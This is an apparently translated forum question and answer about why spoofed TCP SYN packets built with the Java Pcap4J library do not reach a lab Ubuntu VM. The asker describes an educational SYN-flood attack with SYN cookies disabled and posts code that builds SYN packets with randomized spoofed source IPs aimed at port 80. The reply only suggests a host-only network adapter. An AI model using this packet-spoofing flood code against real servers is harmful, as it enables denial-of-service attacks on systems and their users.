Pcap4j TCP-пакеты сбрасываются после отображения на Wireshark - PullRequest
1 голос
/ 21 марта 2019

В образовательных целях я пытаюсь выполнить SYN-атаку на виртуальной машине Ubuntu 18.04.Я включил режим моста в настройках своей виртуальной машины и настроил веб-сервер (10.0.0.10), к которому я могу подключиться на моем хост-компьютере (10.0.0.3) и наоборот с помощью ping.Пинг с хоста на сервер показывает трафик Wireshark на сервере (запрос и ответ), пинг с сервера на хост также показывает трафик Wireshark на сервере, но не на хосте, даже несмотря на то, что пакеты ping построены правильно.

Способ, которым я создаю свою атаку, состоит в том, чтобы генерировать случайные IP-адреса, создавать пакет TCP SYN и отправлять его на веб-сервер с моего хоста через порт 80 (открытый), который должен отправить пакет TCP SYN / ACK обратно (я использовал iptables для маршрутизацииобратно на мой хост-компьютер).

Если я создаю TCP-пакет через Pcap4J (библиотека Pcap для Java) и впоследствии отправляю его через обработчик, Я вижу, что он всплывает на хосте Wireshark.

Однако, если я проверяю Wireshark на моей виртуальной машине, пакеты не приходят.Обработчик не выдает ошибку, и программа завершается правильно, и поэтому я не уверен, как решить эту проблему.

Куда пропал пакет и что я могу сделать, чтобы исправить это?Мне нужны пакеты для доступа к виртуальной машине веб-сервера (и серверу для их отправки обратно).

Код:

    Pcaphandle send_handle;
    //nif_address is a constant of my ethernet connection defined in the file
    try {
        PcapNetworkInterface nif = Pcaps.getDevByAddress(nif_address);
        if (nif == null) {
            System.out.println("Networkinterface is null");
            return;
        }
        // Open the device and get a send_handle
        int snapshotLength = 65536; // in bytes
        int readTimeout = 50; // in milliseconds
        send_handle = nif.openLive(snapshotLength, PcapNetworkInterface.PromiscuousMode.PROMISCUOUS, readTimeout);
    } catch (PcapNativeException e) {
        System.out.println("Cannot bind NIF to variable from localhost");
        e.printStackTrace();
        return;
    }

    //Send packets, e.g. 1 packet by 5 different IPs
    for (int i = 0; i < 5; i++) {
        //generateIP() function not shown here, but is simply a randomizer and format to IP
        InetAddress src_ip = generateIP(); 

        Packet tcpPacket = constructSYNPacket(i, src_ip);
        try {
            send_handle.sendPacket(tcpPacket);
            System.out.println(send_handle.getError());
        } catch (PcapNativeException | NotOpenException e) {
            e.printStackTrace();
        }
    }

    private Packet constructSYNPacket(int packetNr, InetAddress src_address) {
    TcpPacket.Builder tcpBuilder = new TcpPacket.Builder();
    tcpBuilder
            .syn(true)
            .ack(false)
            .rst(false)
            .psh(false)
            .urg(false)
            .srcAddr(src_address)
            .srcPort(TcpPort.getInstance((short) srcPort))
            .dstAddr(dst_address)
            .dstPort(TcpPort.getInstance((short) dstPort))
            .correctLengthAtBuild(true)
            .correctChecksumAtBuild(true)
            .sequenceNumber(100000 + (packetNr*50));

    IpV4Packet.Builder ipv4Builder = new IpV4Packet.Builder();
    ipv4Builder
            .srcAddr((Inet4Address)src_address)
            .dstAddr((Inet4Address)dst_address)
            .dontFragmentFlag(true)
            .fragmentOffset((short)0)
            .ihl((byte)5)
            .correctLengthAtBuild(true)
            .correctChecksumAtBuild(true)
            .protocol(IpNumber.TCP)
            .version(IpVersion.IPV4)
            .tos((IpV4Packet.IpV4Tos) () -> (byte)0)
            .ttl((byte)100)
            .payloadBuilder(tcpBuilder);

    EthernetPacket.Builder ethBuilder = new EthernetPacket.Builder();
    ethBuilder
            .srcAddr(nif_mac)
            .dstAddr(dst_mac)
            .type(EtherType.IPV4)
            .payloadBuilder(ipv4Builder)
            .paddingAtBuild(true);

    Packet p = ethBuilder.build();

Примечание. Я уже отключил файлы cookie SYN в Ubuntu sysctl.

1 Ответ

0 голосов
/ 24 марта 2019

Несмотря на то, что я не выяснил, почему не работает режим моста, мне удалось заставить его работать, используя адаптер только для хоста. Пинги и пакеты были получены обоими способами, когда я использовал это.

...